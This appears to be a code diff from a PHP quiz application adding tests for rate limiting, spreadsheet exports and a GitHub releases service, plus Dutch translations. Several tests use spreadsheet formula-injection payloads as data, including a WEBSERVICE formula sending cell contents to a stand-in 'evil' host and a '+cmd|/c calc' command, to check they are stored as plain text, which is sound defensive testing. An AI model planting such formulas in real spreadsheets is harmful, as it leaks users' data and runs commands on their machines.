$this->loginAs('test@example.org'); $this->loginAs('test@example.org');
+28
View File
@@ -17,6 +17,14 @@ use Tvdt\Helpers\Base64;
#[CoversClass(QuizController::class)] #[CoversClass(QuizController::class)]
final class QuizControllerTest extends AbstractControllerWebTestCase final class QuizControllerTest extends AbstractControllerWebTestCase
{ {
protected function setUp(): void
{
parent::setUp();
// Season-code guessing is rate-limited; start each test with a clean quota.
self::getContainer()->get('cache.rate_limiter')->clear();
}
private function answerQuestion(Question $question): void private function answerQuestion(Question $question): void
{ {
$tomHash = Base64::base64UrlEncode('Tom'); $tomHash = Base64::base64UrlEncode('Tom');
@@ -69,6 +77,26 @@ final class QuizControllerTest extends AbstractControllerWebTestCase
self::assertResponseRedirects('/krtek'); self::assertResponseRedirects('/krtek');
} }
public function testSelectSeasonIsThrottledAfterTooManyAttempts(): void
{
for ($i = 0; $i < 3; ++$i) {
$crawler = $this->client->request(Request::METHOD_GET, '/');
$form = $crawler->filter('form')->form([
'select_season[season_code]' => 'aaaaa',
]);
$this->client->submit($form);
self::assertResponseRedirects('/');
}
$crawler = $this->client->request(Request::METHOD_GET, '/');
$form = $crawler->filter('form')->form([
'select_season[season_code]' => 'aaaaa',
]);
$this->client->submit($form);
self::assertResponseStatusCodeSame(429);
}
public function testEnterNamePageLoads(): void public function testEnterNamePageLoads(): void
{ {
$this->client->request(Request::METHOD_GET, '/krtek'); $this->client->request(Request::METHOD_GET, '/krtek');
@@ -0,0 +1,63 @@
<?php
declare(strict_types=1);
namespace Tvdt\Tests\Helpers;
use PhpOffice\PhpSpreadsheet\Cell\Cell;
use PhpOffice\PhpSpreadsheet\Cell\DataType;
use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PHPUnit\Framework\Attributes\CoversClass;
use PHPUnit\Framework\Attributes\DataProvider;
use PHPUnit\Framework\TestCase;
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
#[CoversClass(FormulaInjectionSafeValueBinder::class)]
final class FormulaInjectionSafeValueBinderTest extends TestCase
{
protected function setUp(): void
{
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
}
protected function tearDown(): void
{
Cell::setValueBinder(new DefaultValueBinder());
}
/** @return iterable<string, array{string}> */
public static function dangerousValueProvider(): iterable
{
yield 'equals-prefixed formula' => ['=WEBSERVICE("http://evil/?"&A1)'];
yield 'plus-prefixed' => ['+cmd|/c calc'];
yield 'minus-prefixed' => ['-2+3'];
yield 'at-prefixed' => ['@SUM(1,1)'];
}
#[DataProvider('dangerousValueProvider')]
public function testDangerousValuesAreStoredAsPlainStrings(string $value): void
{
$sheet = new Spreadsheet()->getActiveSheet();
$sheet->setCellValue('A1', $value);
$cell = $sheet->getCell('A1');
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
$this->assertSame($value, $cell->getValue());
}
public function testOrdinaryValuesAreUnaffected(): void
{
$sheet = new Spreadsheet()->getActiveSheet();
$sheet->setCellValue('A1', 'Anna en Bram');
$sheet->setCellValue('A2', 42);
$sheet->setCellValue('A3', true);
$this->assertSame('Anna en Bram', $sheet->getCell('A1')->getValue());
$this->assertSame(DataType::TYPE_STRING, $sheet->getCell('A1')->getDataType());
$this->assertSame(42, $sheet->getCell('A2')->getValue());
$this->assertSame(DataType::TYPE_NUMERIC, $sheet->getCell('A2')->getDataType());
$this->assertTrue($sheet->getCell('A3')->getValue());
$this->assertSame(DataType::TYPE_BOOL, $sheet->getCell('A3')->getDataType());
}
}
+38
View File
@@ -5,6 +5,7 @@ declare(strict_types=1);
namespace Tvdt\Tests\Service; namespace Tvdt\Tests\Service;
use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
use PhpOffice\PhpSpreadsheet\Cell\DataType;
use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Reader;
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\CoversClass;
@@ -202,6 +203,43 @@ final class DataExportServiceTest extends DatabaseTestCase
$this->assertSame('Man', $claudiaRow[$questionColumnIndex]); $this->assertSame('Man', $claudiaRow[$questionColumnIndex]);
} }
public function testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString(): void
{
$season = $this->getSeasonByCode('krtek');
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]);
$this->assertInstanceOf(Quiz::class, $quiz);
$candidate = $this->getCandidateBySeasonAndName($season, 'Claudia');
/** @var Question $firstQuestion */
$firstQuestion = $quiz->questions->first();
/** @var Answer $chosenAnswer */
$chosenAnswer = $firstQuestion->answers->first();
$chosenAnswer->text = '=WEBSERVICE("http://evil/?"&A1)';
$this->quizCandidateRepository->createIfNotExist($quiz, $candidate);
$this->entityManager->persist(new GivenAnswer($candidate, $quiz, $chosenAnswer));
$this->entityManager->flush();
$zip = $this->openZip($this->getUserByEmail('user2@example.org'));
$quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx');
$this->assertIsString($quizContent);
$zip->close();
$sheet = $this->loadSheet($quizContent, 'Raw answers');
$rows = $sheet->toArray();
$header = $rows[0];
$questionColumnIndex = array_search($firstQuestion->question, $header, true);
$this->assertIsInt($questionColumnIndex);
$column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1);
$candidateNames = array_column(\array_slice($rows, 1), 0);
$rowNumber = 2 + array_search('Claudia', $candidateNames, true);
$cell = $sheet->getCell($column.$rowNumber);
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
}
public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void
{ {
$season = $this->getSeasonByCode('krtek'); $season = $this->getSeasonByCode('krtek');
+133
View File
@@ -0,0 +1,133 @@
<?php
declare(strict_types=1);
namespace Tvdt\Tests\Service;
use PHPUnit\Framework\Attributes\CoversClass;
use PHPUnit\Framework\TestCase;
use Safe\DateTimeImmutable;
use Symfony\Component\Cache\Adapter\ArrayAdapter;
use Symfony\Component\HttpClient\MockHttpClient;
use Symfony\Component\HttpClient\Response\MockResponse;
use Tvdt\Service\GitHubReleasesService;
#[CoversClass(GitHubReleasesService::class)]
final class GitHubReleasesServiceTest extends TestCase
{
public function testGetReleasesMapsGitHubResponse(): void
{
$body = json_encode([
[
'tag_name' => 'v0.8.0',
'name' => 'v0.8.0',
'published_at' => '2026-07-12T10:00:00Z',
'body' => "## Added\n- Something new",
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.8.0',
],
], \JSON_THROW_ON_ERROR);
$httpClient = new MockHttpClient([new MockResponse((string) $body, ['response_headers' => ['content-type' => 'application/json']])]);
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
$releases = $subject->getReleases();
$this->assertEquals([
'tagName' => 'v0.8.0',
'name' => 'v0.8.0',
'publishedAt' => new DateTimeImmutable('2026-07-12T10:00:00Z'),
'body' => "## Added\n- Something new",
'url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.8.0',
], $releases[0]);
}
public function testGetReleasesReturnsEmptyArrayOnHttpFailure(): void
{
$httpClient = new MockHttpClient(static fn (): MockResponse => new MockResponse('', ['http_code' => 500]));
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
$this->assertSame([], $subject->getReleases());
}
public function testHttpFailureIsNotCached(): void
{
$requestCount = 0;
$httpClient = new MockHttpClient(static function () use (&$requestCount): MockResponse {
++$requestCount;
return new MockResponse('', ['http_code' => 500]);
});
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
$subject->getReleases();
$subject->getReleases();
$this->assertSame(2, $requestCount);
}
public function testGetReleasesReturnsEmptyArrayOnUnparseablePublishedAt(): void
{
$body = json_encode([
[
'tag_name' => 'v0.8.0',
'name' => 'v0.8.0',
'published_at' => 'not-a-valid-date',
'body' => 'Some release notes',
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.8.0',
],
], \JSON_THROW_ON_ERROR);
$httpClient = new MockHttpClient([new MockResponse((string) $body, ['response_headers' => ['content-type' => 'application/json']])]);
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
$this->assertSame([], $subject->getReleases());
}
public function testGetReleasesKeepsALiteralZeroReleaseName(): void
{
$body = json_encode([
[
'tag_name' => 'v0.9.0',
'name' => '0',
'published_at' => '2026-07-12T10:00:00Z',
'body' => 'Some release notes',
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.9.0',
],
], \JSON_THROW_ON_ERROR);
$httpClient = new MockHttpClient([new MockResponse((string) $body, ['response_headers' => ['content-type' => 'application/json']])]);
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
$releases = $subject->getReleases();
$this->assertSame('0', $releases[0]['name']);
}
public function testGetReleasesSortsNewestFirst(): void
{
$body = json_encode([
[
'tag_name' => 'v0.7.0',
'name' => 'v0.7.0',
'published_at' => '2026-07-10T10:00:00Z',
'body' => 'Older release',
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.7.0',
],
[
'tag_name' => 'v0.8.0',
'name' => 'v0.8.0',
'published_at' => '2026-07-12T10:00:00Z',
'body' => 'Newer release',
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.8.0',
],
], \JSON_THROW_ON_ERROR);
$httpClient = new MockHttpClient([new MockResponse((string) $body, ['response_headers' => ['content-type' => 'application/json']])]);
$subject = new GitHubReleasesService($httpClient, new ArrayAdapter());
$releases = $subject->getReleases();
$this->assertSame('v0.8.0', $releases[0]['tagName']);
$this->assertSame('v0.7.0', $releases[1]['tagName']);
}
}
@@ -4,6 +4,7 @@ declare(strict_types=1);
namespace Tvdt\Tests\Service; namespace Tvdt\Tests\Service;
use PhpOffice\PhpSpreadsheet\Cell\DataType;
use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Reader;
use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer; use PhpOffice\PhpSpreadsheet\Writer;
@@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase
$this->assertCount(3, $second->answers); $this->assertCount(3, $second->answers);
} }
public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void
{
$quiz = new Quiz();
$question = new Question();
$question->question = 'Who missed the assignment?';
$question->ordering = 1;
$question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true));
$question->addAnswer(new Answer('Bob', isRightAnswer: false));
$quiz->addQuestion($question);
$path = $this->captureXlsx($this->subject->quizToXlsx($quiz));
$sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet();
$cell = $sheet->getCell('B2');
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
}
public function testXlsxToQuizThrowsOnInvalidMimeType(): void public function testXlsxToQuizThrowsOnInvalidMimeType(): void
{ {
$path = $this->createTempPath('.txt'); $path = $this->createTempPath('.txt');
+16
View File
@@ -241,6 +241,10 @@
<source>Could not find candidate with name {name} in elimination.</source> <source>Could not find candidate with name {name} in elimination.</source>
<target>Kon geen kandidaat vinden met de naam {name} in de eliminatie</target> <target>Kon geen kandidaat vinden met de naam {name} in de eliminatie</target>
</trans-unit> </trans-unit>
<trans-unit id="HL5QYZd" resname="Could not load releases from GitHub.">
<source>Could not load releases from GitHub.</source>
<target>Kan releases niet laden van GitHub.</target>
</trans-unit>
<trans-unit id="0DvmToq" resname="Create a season"> <trans-unit id="0DvmToq" resname="Create a season">
<source>Create a season</source> <source>Create a season</source>
<target>Maak een seizoen aan</target> <target>Maak een seizoen aan</target>
@@ -265,6 +269,10 @@
<source>Current password</source> <source>Current password</source>
<target>Huidig wachtwoord</target> <target>Huidig wachtwoord</target>
</trans-unit> </trans-unit>
<trans-unit id="xreXHN5" resname="Current version">
<source>Current version</source>
<target>Huidige versie</target>
</trans-unit>
<trans-unit id="PkrbQOH" resname="Cyan"> <trans-unit id="PkrbQOH" resname="Cyan">
<source>Cyan</source> <source>Cyan</source>
<target>Cyaan</target> <target>Cyaan</target>
@@ -745,6 +753,10 @@
<source>Register</source> <source>Register</source>
<target>Registreren</target> <target>Registreren</target>
</trans-unit> </trans-unit>
<trans-unit id="3s37xTt" resname="Releases">
<source>Releases</source>
<target>Releases</target>
</trans-unit>
<trans-unit id="WevL4T_" resname="Remember me"> <trans-unit id="WevL4T_" resname="Remember me">
<source>Remember me</source> <source>Remember me</source>
<target>Onthoud mij</target> <target>Onthoud mij</target>
@@ -977,6 +989,10 @@
<source>View</source> <source>View</source>
<target>Bekijken</target> <target>Bekijken</target>
</trans-unit> </trans-unit>
<trans-unit id="a1.g0sm" resname="View on GitHub">
<source>View on GitHub</source>
<target>Bekijk op GitHub</target>
</trans-unit>
<trans-unit id="JWRtx_o" resname="White"> <trans-unit id="JWRtx_o" resname="White">
<source>White</source> <source>White</source>
<target>Wit</target> <target>Wit</target>